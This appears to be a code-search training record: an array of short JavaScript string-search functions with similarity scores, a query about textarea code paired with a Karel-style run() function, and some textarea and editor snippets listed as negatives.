[ "function searchString(stg){\n if(find(stg))\n {\n return sentence.indexOf(stg);\n}\n else{\n return -1;\n }\n}", "search(string, startPosition, callback) {\n if (startPosition == null) {\n startPosition = 0;\n }\n if (typeof startPosition === 'function') {\n callback = startPosition;\n startPosition = 0;\n }\n try {\n const ret = this.searchSync(string, startPosition);\n callback(null, ret);\n }\n catch (error) {\n callback(error);\n }\n }", "search(string, startPosition, callback) {\n if (startPosition == null) {\n startPosition = 0;\n }\n if (typeof startPosition === 'function') {\n callback = startPosition;\n startPosition = 0;\n }\n try {\n const ret = this.searchSync(string, startPosition);\n callback(null, ret);\n }\n catch (error) {\n callback(error);\n }\n }", "search(string, startPosition, callback) {\r\n if (startPosition == null) {\r\n startPosition = 0;\r\n }\r\n if (typeof startPosition === 'function') {\r\n callback = startPosition;\r\n startPosition = 0;\r\n }\r\n try {\r\n const ret = this.searchSync(string, startPosition);\r\n callback(null, ret);\r\n }\r\n catch (error) {\r\n callback(error);\r\n }\r\n }", "function ssearch_do_search() {\n\tvar search_string = d$(\"string_to_search\").value;\n\tif ( !search_string.length )\n\t\treturn;\n\twoas.do_search(search_string);\n}", "function search(str) {\n\t\t\tif (str.length == 0) {\n\t\t\t\tbuild_list(items);\n\t\t\t} else {\n\t\t\t\tstr = str.split('\\\\').join('\\\\\\\\');\n\t\t\t\tmatches.length = 0;\n\t\t\t\tpattern = \"^\" + str;\n\t\t\t\tregex = new RegExp(pattern, 'i');\n\t\t\t\tvar len = items.length;\n\t\t\t\tfor (var x = 0; x < len; x++) {\n\t\t\t\t\tval = get_value(items[x]);\n\t\t\t\t\tif (val.match(regex)) {\n\t\t\t\t\t\tmatches.push(items[x]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbuild_list(matches);\n\t\t\t}\n\t\t}", "function searchForTxtIn(whatSearchID, whereSearchID) {\n var whatSearch = document.getElementById(whatSearchID);\n var txtToFind = whatSearch.value;\n\n var whereSearch = document.getElementById(whereSearchID);\n var providedTxt = whereSearch.value;\n\n var posOfTxtToFind = providedTxt.toLowerCase().search(txtToFind);\n\n if (providedTxt == null || providedTxt == \"\") {\n window.alert(\"Nada foi digitado no seguinte input: \" + whereSearch.name );\n } else if(posOfTxtToFind != -1) {\n window.alert(\"Substring \\\"\" + txtToFind + \"\\\" encontrada no texto:\" + providedTxt + \" a partir da posição '\" + posOfTxtToFind + \"'\");\n } else {\n window.alert(\"Substring \\\"\" + txtToFind + \"\\\" não encontrada no texto:\" + providedTxt);\n }\n}", "function hasWord(string, word) {\n//use the search method in an conditional statement to determine if word is used\nif (string.search(word) >= 0) {\n return true;\n}\nelse {return false};\n}", "function indexOfString(str, query) {\n return str.indexOfString(query);\n}", "function search(searchString) {\n if (!searchString || (searchString && searchString.length === 0)) {\n vscode.window.showErrorMessage(\"No search string was entered.\");\n return;\n }\n\n //# async waterfall for control flow\n async.waterfall(\n [\n callback => callback(null, searchString),\n fetchResults,\n processResults,\n displayResults\n ],\n (err, result) =>\n console.log(\n `Error: ${JSON.stringify(err, null, 4)}, Result: ${JSON.stringify(\n result,\n null,\n 4\n )}`\n )\n );\n //# async waterfall for control flow\n}", "function doSearch(string) {\n $.getJSON(\"https://www.cs.kent.ac.uk/people/staff/lb514/hygiene/hygiene.php\",\n {\n \top: 'searchname',\n name: string\n },\n function(data) {\n \tloadTable(data);\n \t$(\".businesses\").before(\"<p class='result-msg'>Results for businesses with names containing '\" + string + \"':</p>\");\n\t});\n}", "search(string,node){\n node = node || this.root;\n\n if(node === null) return false;\n if(string.length === 0 && node.isEnd()){\n return true;\n }\n else{\n //Character exists\n if(node.keys.get(string[0])){\n return this.search(string.substr(1), node.keys.get(string[0]))\n }\n else{\n return false;\n }\n }\n }", "ifInSearch(option, searchString) {\n let item = option.toLowerCase();\n let string = searchString.toLowerCase();\n\n if (item.includes(string)) {\n return true;\n } else {\n return false;\n }\n }", "function myOwnIncludes(string, searchString) {\n for (let i = 0; i < string.length; i += 1) {\n if (string[i] === searchString) {\n return true;\n }\n }\n}", "function search(pattern, callback) { \n var url= \"/search\";\n if( pattern ) url+= \"?name=\"+pattern; \n get_from_server( url, function(error, result) {\n sys.puts(result); \n callback();\n });\n}", "function find(s, sub, start = 0, end = undefined) {\n if (!s || !sub) {\n return -1;\n }\n\n return s.slice(start, end).search(escapeRegExp(sub));\n}", "function find(){\n var str = 'When i was young ,I love a girl in neighoubr class';\n // search( ) substring()\n\n}", "search (string) {\n\t\tlet lines = this.output.split('\\n');\n\t\tlet rgx = new RegExp(string);\n\t\tlet matched = [];\n\t\t// can't use a simple Array.prototype.filter() here\n\t\t// because we need to add the line number\n\t\tfor (let i = 0; i < lines.length; i++) {\n\t\t\tlet addr = `[${i}] `;\n\t\t\tif (lines[i].match(rgx)) {\n\t\t\t\tmatched.push(addr + lines[i]);\n\t\t\t}\n\t\t}\n\t\tlet result = matched.join('\\n');\n\t\tif (result.length == 0) result = `Nothing found for \"${string}\".`;\n\t\treturn result\n\t}", "function textSearch()\n{\n\t//for example, we search for the word \"potato\", and the first character\n\t//of \"potato\" starts at character position 22 of the sentence\n\tvar text = \"I'm not a huge fan of potato salad but it's alright\";\n\tdocument.getElementById(\"txtSrch\").innerHTML = text.search(\"potato\");\n}", "function hasWord(noveltyStr, testWord){\n\n if(noveltyStr.search(testWord) > -1){ //if the string contains the substring\n //code to execute if word is found\n return true;\n } else {\n //word is not found\n return false;\n }\n}", "searchFn (haystack, needle) { // search function\r\n return haystack.toLowerCase().indexOf(needle.toLowerCase()) < 0;\r\n }", "function contains(string, searchChar){\n if(string.indexOf(searchChar) != -1) return true;\n else return false;\n}", "function findIt(stingArray, searchString) {\n return stingArray.filter(stringItem => stringItem.includes(searchString));\n}", "function checkSubStringMatch(item) {\n return item.name.toLowerCase().includes(SearchString.toLowerCase());\n }", "function indexer(str, find) {\n return str.indexOf(find) > 0 ? str.indexOf(find) : false;\n }", "function _findStringInResponseHTML( xhr, searchString ) {\n\t\tif ( !xhr.responseText ) {\n\t\t\treturn false;\n\t\t} \n\t\tvar contentType = xhr.getResponseHeader( \"Content-Type\" );\n\n\t\tif ( (contentType.indexOf(\"text/html\") >= 0) &&\n\t\t\t (xhr.responseText.indexOf(searchString) >= 0) ) {\n\t\t\treturn true;\n\t\t}\n\n\t\treturn false;\t\t\t\t\t\t\n }", "function findValue(strings) {\n return strings.indexOf('Hello', 0)\n}", "function searchString(query,searchTerm) {\n\n\t//checks if property is a number, and coerces it to string if it is.\n\tif(!(isNaN(searchTerm))) {\n\t\tvar searchTerm = searchTerm + \"\";\n\t}\n\n\t//converts query and searchterm to lowercase\n\tvar searchTerm = searchTerm.toLowerCase();\n\tvar query = query.toLowerCase();\n\n\tif (query != \"\") {\n\n\t\tif((searchTerm.indexOf(query)) != -1) {\n\t\t\treturn true;\n\t\t}\n\n\t\telse {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\telse {\n\t\treturn false\n\t}\n\n}", "function search_method(){\n var name = \"Jose Carlos Cruz Santiago\";\n var search = name.search(\"Cruz\");\n document.getElementById(\"search_method\").innerHTML=search;\n}", "function jss_search1(str, jss_iframe, result_elem) {\n if (str.search(/\\S/) == -1) return;\n if (jss_index_loaded) {\n jss_start_search(str, result_elem);\n } else {\n jss_str = str;\n jss_result_elem = result_elem;\n jss_timer = window.setTimeout(\"jss_error();\", 5000);\n jss_iframe.src = \"jss-index.htm\";\n }\n}", "function findOneOf(str, searchValues) {\n for (var idx = 0; idx < str.length; idx++) {\n if (searchValues.indexOf(str[idx]) >= 0) {\n return idx;\n }\n }\n return -1; //none of the searchValues exist in string\n}", "function findOneOf(str, searchValues) {\r\n for (var idx = 0; idx < str.length; idx++) {\r\n if (searchValues.indexOf(str[idx]) >= 0) {\r\n return idx;\r\n }\r\n }\r\n return -1; // none of the searchValues exist in string\r\n}", "function findOneOf(str, searchValues) {\r\n for (var idx = 0; idx < str.length; idx++) {\r\n if (searchValues.indexOf(str[idx]) >= 0) {\r\n return idx;\r\n }\r\n }\r\n return -1; // none of the searchValues exist in string\r\n}", "function InString() {\r\n}", "function searchProduct(){\r\n \r\n var go = \"Thing(?i)\";\r\n \r\n submitProduct(go); \r\n \r\n }", "function searchText(somewhere, element) {\n return somewhere.text.search(element);\n}", "function findInString(x, y) {\n return x.indexOf(y)\n}", "function stringSearch(key, searchQuery, node, path, treeIndex) {\n return \"function\" == typeof node[key] ? String(node[key]({\n node: node,\n path: path,\n treeIndex: treeIndex\n })).indexOf(searchQuery) > -1 : \"object\" === _typeof(node[key]) ? \n // Cheap hack to get the text of a react object\n function getReactElementText(parent) {\n return \"string\" == typeof parent ? parent : \"object\" !== (void 0 === parent ? \"undefined\" : _typeof(parent)) || !parent.props || !parent.props.children || \"string\" != typeof parent.props.children && \"object\" !== _typeof(parent.props.children) ? \"\" : \"string\" == typeof parent.props.children ? parent.props.children : parent.props.children.map(function(child) {\n return getReactElementText(child);\n }).join(\"\");\n }(node[key]).indexOf(searchQuery) > -1 : node[key] && String(node[key]).indexOf(searchQuery) > -1;\n // Search within string\n }", "function searchRow(rowProp, string) {\n\tif (rowProp) {\n\t\treturn (rowProp.value.toLowerCase().indexOf(string) > -1);\n\t} else { return false; }\n}", "function SearchFunction() {\n var str = \"Visit A&T University!\";\n var n = str.search(\"A&T\");\n document.getElementById(\"search\").innerHTML = n;\n}", "function searchStringInArray (str, strArray) {\n str = getRootUrl(str);\n for (var j=0; j<strArray.length; j++) {\n if (strArray[j].match(str)) return j;\n }\n return -1;\n}", "function search(text){\n searchString = text.toLowerCase();\n readerControl.fullTextSearch(searchString);\n }", "function caseInsensitiveStringSearch( strArr, str ) {\n\t\n for(var i=0;i<strArr.length;i++){\n\t if(strArr[i].toLowerCase()===str.toLowerCase())\n\t\t return i;\n }\n\treturn -1; \n }", "function containsAny (myStr, mySearchWords) {\r myStr = myStr.toLowerCase();\r var i;\r for (i=0; i < mySearchWords.length; i++) {\r if (myStr.search(mySearchWords[i].toLowerCase()) != -1) {\r return true;\r }\r }\r return false;\r }", "function sc_stringContains(s1,s2,start) {\n return s1.indexOf(s2,start ? start : 0) >= 0;\n}", "function stringSearch(needle, haystack) {\n for (let i = 0; i < haystack.length; i++) { // n\n if (haystack.substring(i, needle.length + i) === needle) { // m\n return i\n }\n }\n return -1\n}", "function searchString(str, obj) {\n for(var key in obj) {\n if(key.toString() == str){\n return true;\n }\n\n var elem = obj[key];\n if(typeof elem === \"object\")\n return searchString(str, elem); // call recursively\n }\n return false;\n}", "function find() {\n\t\tvar query = $(\"#search-query\").val();\n\n\t\t// check to see if the query contains special commands/characters\n\t\tconvert(query);\n\t\t\n\n\t\tfindSimilar(query);\n\t}", "function find(str, arr){\n\treturn arr.indexOf(str) >= 0;\n}", "function indexOf(){ \r\n var str = \"hello world,Live as if you were to die tomorrow\";\r\n var n = str.indexOf(\"were\");\r\n console.log(n)\r\n }", "function stringContains(outerString,innerString){\n return outerString.indexOf(innerString) > -1;\n}", "function searchKeyword(keyword) {\n keyword = keyword.toLowerCase();\n var results = xmatch(keyword);\n if (!results || !results.length) results = quicksearch(keyword);\n return results;\n}", "function isSearched(s) {\n return function(item) {\n const searchTerm = s;\n let wasFound = true;\n\n s.split(\" \").forEach(searchTerm => {\n let termFound = false;\n if (item.info.location.toLowerCase().includes(searchTerm.toLowerCase()) || item.info.title.toLowerCase().includes(searchTerm.toLowerCase()) || item.info.description.toLowerCase().includes(searchTerm.toLowerCase()) || item.info.skill_summary.toLowerCase().includes(searchTerm.toLowerCase()) || item.info.level.toLowerCase().includes(searchTerm.toLowerCase())) {\n termFound = true;\n }\n wasFound = wasFound && termFound;\n });\n\n return !searchTerm || wasFound;\n };\n}", "function find(c){\n for (var i=0; i<searchedLocations.length; i++){\n if(c.toUpperCase()===searchedLocations[i]){\n return -1;\n }\n }\n return 1;\n}", "function $search(str, seek) {\n\t\tif (!(str instanceof Uint8Array)) {\n\t\t\tstr = $s(str);\n\t\t}\n\t\tvar ls = str.length;\n\n\t\t// Virtually all uses of search in BWIPP are for single-characters.\n\t\t// Optimize for that case.\n\t\tif (seek.length == 1) {\n\t\t\tvar lk = 1;\n\t\t\tvar cd = seek instanceof Uint8Array ? seek[0] : seek.charCodeAt(0);\n\t\t\tfor (var i = 0; i < ls && str[i] != cd; i++);\n\t\t} else {\n\t\t\t// Slow path, \n\t\t\tif (!(seek instanceof Uint8Array)) {\n\t\t\t\tseek = $(seek);\n\t\t\t}\n\t\t\tvar lk = seek.length;\n\t\t\tvar cd = seek[0];\n\t\t\tfor (var i = 0; i < ls && str[i] != cd; i++);\n\t\t\twhile (i < ls) {\n\t\t\t\tfor (var j = 1; j < lk && str[i + j] === seek[j]; j++);\n\t\t\t\tif (j === lk) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tfor (i++; i < ls && str[i] != cd; i++);\n\t\t\t}\n\t\t}\n\t\tif (i < ls) {\n\t\t\t$k[$j++] = str.subarray(i + lk);\n\t\t\t$k[$j++] = str.subarray(i, i + lk);\n\t\t\t$k[$j++] = str.subarray(0, i);\n\t\t\t$k[$j++] = true;\n\t\t} else {\n\t\t\t$k[$j++] = str;\n\t\t\t$k[$j++] = false;\n\t\t}\n\t}", "function hasWord(string, word) {\nreturn string.includes(word);\n}", "function searchTerm(){\n \n }", "function indexOf(str, queryStr) {\n for (var i = 0; i < str.lenght; i++) {\n for (var j = 0; j < queryStr.lenght; j++) {\n if (str[i + j] !== queryStr[j]) {\n break\n }\n if (j == queryStr.lenght - 1) {\n return i\n }\n }\n }\n return -1\n}", "function pgp_substringSearch(string, stringStart, stringEnd, bIncluding){\r\n\t//opt params\r\n\tif(arguments.length<4)\tbIncluding=false;\r\n\tvar start = string.indexOf(stringStart) + stringStart.length;\r\n\tif(arguments.length<3)\t{\r\n\t\tvar end = string.length-1;\r\n\t} else {\r\n\t\tvar end = string.indexOf(stringEnd, start);\r\n\t\tif(bIncluding)\tend+=stringEnd.length;\r\n\t}\r\n\tif(bIncluding)\tstart-=stringStart.length;\r\n\treturn string.substring(start, end);\r\n}", "function advancedSearch(str, pattern, placeNumber) {\n var L = str.length, i = -1;\n while (placeNumber-- && i++ < L) {\n i = str.indexOf(pattern, i);\n if (i < 0) break;\n }\n return i;\n}", "function imageSearch(expression,string) {\n\treturn expression.test(string);\n}", "function StringSearch(str, val){\n for(var i = 0; i < str.length; i++){\n if(val == str[i]){\n console.log(i);\n return(i);\n }\n }\n console.log(-1);\n return(-1);\n}", "function runSearch(argument, search) {\n switch (argument) {\n case \"spotify-this-song\":\n spotifySearch(search);\n break;\n\n case \"movie-this\":\n omdbSearch(search);\n break;\n\n case \"concert-this\":\n bandsSearch(search);\n break;\n\n case \"do-what-it-says\":\n readFile(search);\n break;\n\n case \"help\":\n help();\n break;\n\n default:\n nullCase();\n }\n}", "function hasWord(string, word) {\n\n if (string.includes(word)){\n return true;\n }\n return false;\n}", "function seaStr () {\n var str = document.getElementById(\"p2\").innerHTML;\n var pos = str.search(\"locate\");\n document.getElementById(\"demo2\").innerHTML = pos;\n}", "function doSearchMyString(cm, rev, query) {\n\tvar state = getSearchState(cm);\n\tif (state.query) return findNext(cm, rev, query);\n\tcm.operation(function() {\n\t\tif (!query || state.query) return;\n\t\tstate.query = parseQuery(query);\n\t\tcm.removeOverlay(state.overlay); \n\t\tstate.overlay = searchOverlay(query);\n\t\tcm.addOverlay(state.overlay);\n\t\tstate.posFrom = state.posTo = cm.getCursor();\n\t\tfindNext(cm, rev, query);\n });\n }", "function findName() {\n\tvar searchString = document.getElementById(\"enterSearchString\").value.trim().toLowerCase();\n\tdocument.getElementById(\"enterSearchString\").value = \"\";\n\t// call function to search and record the information entered, and return a message.\n\t// the function also increase the count of elementID \"enterSearchString\"\n\tconsole.log(\"In findName(): \" + searchString);\n}", "function sadrziString(param1, param2){\n var a = param1.toLowerCase().indexOf(param2)\n if(a == -1){\n console.log(param1 + \" ne sadrzi \" + param2);\n } else {\n \n console.log(param1 + \" sadrzi \" + param2);\n }\n\n}", "function searchPlayer(term) {\n return search(term, 'soccer player', true);\n}", "function stringSearch(str, pattern) {\n\tlet counter = 0;\n\tlet subCounter = 0;\n\tfor (let i = 0; i < str.length; i++) {\n\t\tsubCounter = 0;\n\t\tfor (let j = 0; j < pattern.length; j++) {\n\t\t\tif (str[i + j] === pattern[j]) subCounter++;\n\t\t\telse break;\n\t\t}\n\t\tif (subCounter === pattern.length) counter++;\n\t}\n\treturn counter;\n}", "function hasWord(string, word) {\nif (string.includes(word)) {\n return true; //returns true if the string includes the word\n} else {\n return false; //returns false otherwise\n}\n}", "function search() {\n let search_text = $search_text.value;\n decide_search(search_text)\n}", "function search() {\n if($(\"name\").value.match(/\\S/)) {\n let input = $(\"name\").value;//let something be the word in side\n makeRequest(input);\n }\n }", "function findPokemon(str){\n\tfor(var i=0;i<allPokemon.length;i++){\n\t\tif(allPokemon[i].Name.includes(str)){\n\t\t\treturn i;\n\t\t}\n\t}\n\t\n\treturn -1;\n}", "function seachString(arr, str) {\n\tlet found = [];\n\tfor(var i = 0; i < arr.length; i++;) {\n\t\tif(arr[i].indexOf(str) === 0) {\n\t\t\tfound.push(arr[i]);\n\t\t}\n\t}\n\n\treturn found;\n}", "function matchString(aString) {\n if(dictionary.nouns.includes(aString)||\n dictionary.verbs.includes(aString)||\n dictionary.articles.includes(aString)) {\n console.log(\"Matched: \" + aString);\n return true;\n } else {\n console.log(\"No match for: \" + aString);\n }\n}", "function find(stg)\n{\n return sentence.includes(stg);\n}", "function startsWith(src, searchString) {\n return src.substr(0, searchString.length) === searchString;\n}", "function indexOf(str, token, start) {\n\treturn str \n\t\t? String(str).indexOf(token, start || 0) \n\t\t: -1;\n}", "function hasWord(string, word) {\n if (string.includes(word)) {\n return true;\n } else {\n return false;\n }\n}", "function startsWith(string, search, pos) {\n return string.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search\n}", "function searchUser(searchTerm) {\n for (let user of users) {\n if (searchTerm.toLowerCase() === user.fullName.toLowerCase()) {\n return user;\n }\n }\n return \"User Not Found\";\n}", "function _nameOrCityContainsString(fleamarket, searchText)\n {\n searchText = searchText.toLowerCase();\n if(fleamarket.name.toLowerCase().indexOf(searchText) !== -1 || fleamarket.fleamarket_addresses.city.toLowerCase().indexOf(searchText) !== -1)\n {\n return true;\n }\n return false;\n }", "function search (req, res) {\n var path = req.url.split('/')[1]\n var keyWord = req.query.s\n\n // Path can be buscar, that looks for regex match into the title, or it can\n // be categoria, that looks for the keyword in the tags array\n var condition = path === 'buscar' ? {'title': { \"$regex\": keyWord, \"$options\": \"i\" }}\n : {'tags': keyWord}\n\n Post.find(condition, function(err, results) {\n if (err) return console.log(err)\n return res.send(results)\n })\n}", "function isSubstring(searchString, subString){\n for(var i = 0; i < searchString.length; i++){\n // 'i' is defined start and subString.length is the 'length' | str.substr(start[, length])\n var sentence = searchString.substr(i, subString.length);\n if(sentence === subString){\n return true;\n } \n }\n//have the return outside the forloop and if answer is false, the code will exit at this stage.\n return false;\n}", "search(searchString, excludeFromList, callback) {\n // Cancel on going existing request if new search is fired\n this.cancelOnNew && this.cancelExistingRequests();\n\n let dataList = null;\n // If search string is none and data is saved in storage get it from there\n if (this.storageKey && (!this.searchLocal && !searchString)) {\n dataList = ttlLocalStorage.getItem(this.storageKey, this.globalData);\n }\n\n // If data is available then pass the data from here\n if (dataList) {\n filterResultForSearchedString(\n searchString,\n this.searchableFields,\n JSON.parse(dataList),\n excludeFromList,\n callback,\n );\n return;\n }\n this.__searchOnNetwork(searchString, excludeFromList, callback);\n }", "function searchForWord($,word) {\n let body = $('html > body').text().toLowerCase();\n let bodyTag = $('html > body').children();\n // console.log($('html > body').children().contents());\n\n\n // console.log(body);\n let bool = body.indexOf(word.toLowerCase());\n // let match = body.match('re');\n // console.log(match);\n // if(bool !== -1) console.log(body);\n console.log('the index of ' ,body.indexOf(word.toLowerCase()));\n\n return (body.indexOf(word.toLowerCase()) !== -1);\n}", "function search() {\n\t\n}", "function assertContains(string, substring, error) {\n chrome.test.assertNe(-1, string.indexOf(substring), error);\n}", "function searchStringInArray (searchString, searchStringArray) {\r\n for ( var i = 0 ; i < searchStringArray.length ; i++ ) {\r\n if (searchStringArray[i] == searchString) \r\n return i;\r\n }\r\n return -1;\r\n}", "function naiveSearch (str, sub) {\n\tlet left = 0;\n\n\twhile (left + 2 <= str.length - 1) {\n\t\tconsole.log(str.slice(left, left + sub.length));\n\t\tif (str.slice(left, left + sub.length) === sub) {\n\t\t\treturn true;\n\t\t}\n\t\tleft++;\n\t}\n\treturn false;\n}", "function sc_stringCIContains(s1,s2,start) {\n return s1.toLowerCase().indexOf(s2.toLowerCase(),start ? start : 0) >= 0;\n}", "function search(query, searchString, likeSearch, limit, additionalBindings, callback) {\n var searchParameter = likeSearch ? '%' + searchString + '%' : searchString;\n\n db.query(query, {\n bind: [searchParameter].concat(additionalBindings)\n })\n .spread(function (results, metadata) {\n scoreResults(searchString, 'matchingString', results);\n sortResults(results);\n limitResults(limit, results);\n\n callback(results);\n });\n}", "function stringSearch(string, pattern) {\n let matches = 0;\n for (let i = 0; i < string.length; i++) {\n if (string[i] === pattern[0]) {\n for (let j = 1; j < pattern.length; j++) {\n if (string[i + j] !== pattern[j]) break;\n if (j === pattern.length - 1) matches++;\n }\n }\n }\n return matches;\n}", "function hasWord(string, word) {\n return string.includes(word);\n}", "function hasWord(string, word) {\n return string.includes(word);\n}", "function studentMatchesSearch( student, searchFilter ) {\n str = searchFilter.toLowerCase();\n name = student.querySelector('h3').textContent.toLowerCase();\n email = student.querySelector('.email').textContent.toLowerCase();\n return ( name.indexOf(str) !== -1 || email.indexOf(str) !== -1 );\n }", "function wordSearch($, word) {\n\tif(word.trim().length < 1) {\n\t\treturn false;\n\t}\n \tvar bodyText = $('html > body').text();\n \tif(bodyText.toLowerCase().indexOf(word.toLowerCase()) !== -1) {\n \treturn true;\n \t}\n \treturn false;\n}", "function containsInWord(searchStr, str){\n \n var searchStrLen = searchStr.length;\n var startIndex = 0, index, indices = [];\n if (searchStrLen == 0) {\n \n return [];\n }\n \n while ((index = str.indexOf(searchStr, startIndex)) > -1) {\n indices.push(index);\n startIndex = index + searchStrLen;\n \n }\n return indices;\n\n}", "function contains(str, substring, fromIndex){\n\t str = toString(str);\n\t substring = toString(substring);\n\t return str.indexOf(substring, fromIndex) !== -1;\n\t }", "function isStrInWord(string, word) {\n if (word.startsWith(string) == true) {\n console.log(true);\n } else {\n console.log(false);\n }\n}" ]
[ "0.7150364", "0.7057997", "0.7057997", "0.70535356", "0.7014434", "0.69692075", "0.6918099", "0.6894859", "0.6768257", "0.67430973", "0.66288775", "0.6571732", "0.6518189", "0.6499622", "0.64837015", "0.6481892", "0.64794296", "0.64311546", "0.63810414", "0.6380555", "0.63764644", "0.63411105", "0.62557566", "0.6251327", "0.62475854", "0.62351143", "0.62074125", "0.61944884", "0.6170433", "0.61420846", "0.61152136", "0.61130226", "0.61130226", "0.61027354", "0.6100971", "0.60737497", "0.6067769", "0.6066314", "0.6065076", "0.6043979", "0.6041235", "0.6038783", "0.60332346", "0.6029819", "0.6019857", "0.60194457", "0.60012186", "0.59882975", "0.5979233", "0.59760267", "0.59730905", "0.59714997", "0.5971274", "0.59568834", "0.5940735", "0.5935729", "0.59342176", "0.5921046", "0.59207106", "0.59205014", "0.5916797", "0.59150004", "0.5914175", "0.59093475", "0.5892629", "0.5886484", "0.5884601", "0.58842814", "0.5880386", "0.5877618", "0.5865503", "0.58533144", "0.5850185", "0.5826436", "0.5826404", "0.58245975", "0.57991314", "0.5785408", "0.578213", "0.5781922", "0.578118", "0.57778245", "0.57762927", "0.5769812", "0.5766813", "0.57635427", "0.57617503", "0.57617134", "0.5755974", "0.57544976", "0.5750748", "0.5742017", "0.5741468", "0.5737134", "0.5736467", "0.5736467", "0.57297593", "0.57292897", "0.5722533", "0.57209665", "0.57143986" ]
0.0
-1
code in this text area.
function run() { moveToNewspaper(); pickBeeper(); returnHome(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function editor_tools_handle_code() {\n editor_tools_add_tags('[code]\\n', '\\n[/code]\\n');\n editor_tools_focus_textarea();\n}", "function setTextarea(e) {\n e.preventDefault();\n var textarea = document.querySelector('.arrow_box textarea');\n var fullText = textarea.value;\n var code = formatSend(fullText);\n textarea.value = code;\n }", "function processCode(content) { \n var slide = '\\n' \n slide += '\\t<textarea class=\"textareaCode\" onfocus=\"selectEdit(this.id)\" onBlur=\"deselectEdit(this.id)\">'\n for(var line of content)\n slide += line.replace('<', '&lt;').replace('>', '&gt;') +'\\n'\n slide += '\\t</textarea>'\n slide += '\\t<div class=\"iframewrapper\"></div>'\n slide += '\\t</div>'\n return slide\n }", "function quickCodeHandler(e) {\n\t var target = e.target,\n\t highlighterDiv = findParentElement(target, '.syntaxhighlighter'),\n\t container = findParentElement(target, '.container'),\n\t textarea = document.createElement('textarea'),\n\t highlighter;\n\n\t if (!container || !highlighterDiv || findElement(container, 'textarea')) return;\n\n\t highlighter = getHighlighterById(highlighterDiv.id);\n\n\t // add source class name\n\t addClass(highlighterDiv, 'source');\n\n\t // Have to go over each line and grab it's text, can't just do it on the\n\t // container because Firefox loses all \\n where as Webkit doesn't.\n\t var lines = container.childNodes,\n\t code = [];\n\n\t for (var i = 0, l = lines.length; i < l; i++) {\n\t code.push(lines[i].innerText || lines[i].textContent);\n\t } // using \\r instead of \\r or \\r\\n makes this work equally well on IE, FF and Webkit\n\t code = code.join('\\r');\n\n\t // For Webkit browsers, replace nbsp with a breaking space\n\t code = code.replace(/\\u00a0/g, \" \");\n\n\t // inject <textarea/> tag\n\t textarea.appendChild(document.createTextNode(code));\n\t container.appendChild(textarea);\n\n\t // preselect all text\n\t textarea.focus();\n\t textarea.select();\n\n\t // set up handler for lost focus\n\t attachEvent(textarea, 'blur', function (e) {\n\t textarea.parentNode.removeChild(textarea);\n\t removeClass(highlighterDiv, 'source');\n\t });\n\t }", "function TextEditor() {}", "function AddCodeFromWindow(thecode) {\n \tif(typeof(opener.document.forms[form].elements[textarea])=='undefined'){\n\t\tif(which==null){\n\t\t\tvar textfield = opener.document.forms[form].elements['message[0]'];\n\t\t}\n\t\telse{\n\t\t\tvar textfield = which;\n\t\t}\n\t}\n\telse{\n\t\tvar textfield = opener.document.forms[form].elements[textarea];\n\t}\n\ttextfield.focus();\n\n\ttextfield.focus();\n\tif(typeof opener.document.selection != 'undefined') {\n\t\tvar range = opener.document.selection.createRange();\n\t\trange.text = thecode;\n\t\trange = opener.document.selection.createRange();\n\t\trange.moveStart('character', thecode.length); \n\t\trange.select();\n\t}\n\telse if(typeof textfield.selectionStart != 'undefined') {\n\t\tvar start = textfield.selectionStart;\n\t\tvar end = textfield.selectionEnd;\n\t\ttextfield.value = textfield.value.substr(0, start) + thecode + textfield.value.substr(end);\n\t\tvar pos;\n\t\tpos = start + thecode.length;\n\t\ttextfield.selectionStart = pos;\n\t\ttextfield.selectionEnd = pos;\n\t}\n\telse {\n\t\tvar pos;\n\t\tvar re = new RegExp('^[0-9]{0,3}$');\n\t\twhile(!re.test(pos)) {\n\t\t\tpos = prompt(language_array['bbcode']['addcode']+\" (0..\" + textfield.value.length + \"):\", \"0\");\n\t\t}\n\t\tif(pos > textfield.value.length) {\n\t\t\tpos = textfield.value.length;\n\t\t}\n\t\ttextfield.value = textfield.value.substr(0, pos) + thecode + textfield.value.substr(pos);\n\t}\n}", "addText(code){\n let textBar = document.querySelector(\".text\").innerHTML;\n switch (code) {\n case \"Backspace\":\n\n textBar.innerHTML.strike();\n\n }\n if(code != \"Enter\"){\n textBar += code;\n } else {\n let command = textBar.innerHTML;\n console.log(command);\n }\n }", "function setCodePane( code ) {\n document.getElementById(\"js-source-code\").value = code;\n}", "function Source() {\n var $code = $(\"#source textarea\");\n\n this.print = function(o) {\n \t\n \t// Clean up HTML output with REGEX.\n \tvar formatted_u = $(\"#sandbox\").html(); \t\n \tformatted_u = formatted_u.replace(/&quot;/gi, \"\\'\").replace(/<br>/gi, '<br />').replace(/<hr>/gi, '<hr />');\n \t\n \t// PRINT TO TEXTAREA \n $code.text(style_html(formatted_u));\n };\n }", "function textCodeSwitch() {\n const textArea = document.querySelector('#text-area')\n const textOptions = document.querySelector('.text-options')\n const codeArea = document.querySelector('#code-area')\n const codeOptions = document.querySelector('.code-options')\n textArea.style.display = 'none';\n codeArea.style.display = 'block';\n textOptions.style.display = 'none';\n codeOptions.style.display = 'block';\n}", "function editCode(evt) {\r\n // stop the animation when the edit button is pressed\r\n self.iframe.contentWindow.descartesJS.apps[0].stop();\r\n\r\n editor.sceneCodeEditor.setCode(self.applet.innerHTML, self);\r\n editor.sceneCodeEditor.open();\r\n }", "function execEditorContent() {\n noerror()\n execute(editor.getValue() + ';');\n }", "textEnter() {}", "function addScriptBody(code) {\n var $highlight, $script, name, email, date;\n if (!code) {\n date = getDate() || '[date]';\n name = getUserName() || '[name]';\n email = settings['login' + detectEnvironment()];\n if (!email || email == '@maxymiser.com') { email = '[email]'; }\n code =\n \"/**\\n\" +\n \" * [script name]\\n\" +\n \" * This script's purpose is to [check generation rules, track actions, e.t.c].\\n\" +\n \" *\\n\" +\n \" * @author \" + name + \" \" + email + \"\\n\" +\n \" * @date \" + date + \"\\n\" +\n \" */\\n\" +\n \" \\n\" +\n \";\\n\" +\n \"(function() {\\n\" +\n \" \\n\" +\n \"})(); \";\n }\n setTimeout(function() {\n $highlight = $('#heightlight_button, #codeHighlight').eq(0);\n $script = $('#script, #Script');\n if (!$script.val()) {\n if ($highlight.prop('checked')) {\n $highlight.click();\n $script.val(code);\n $highlight.click();\n 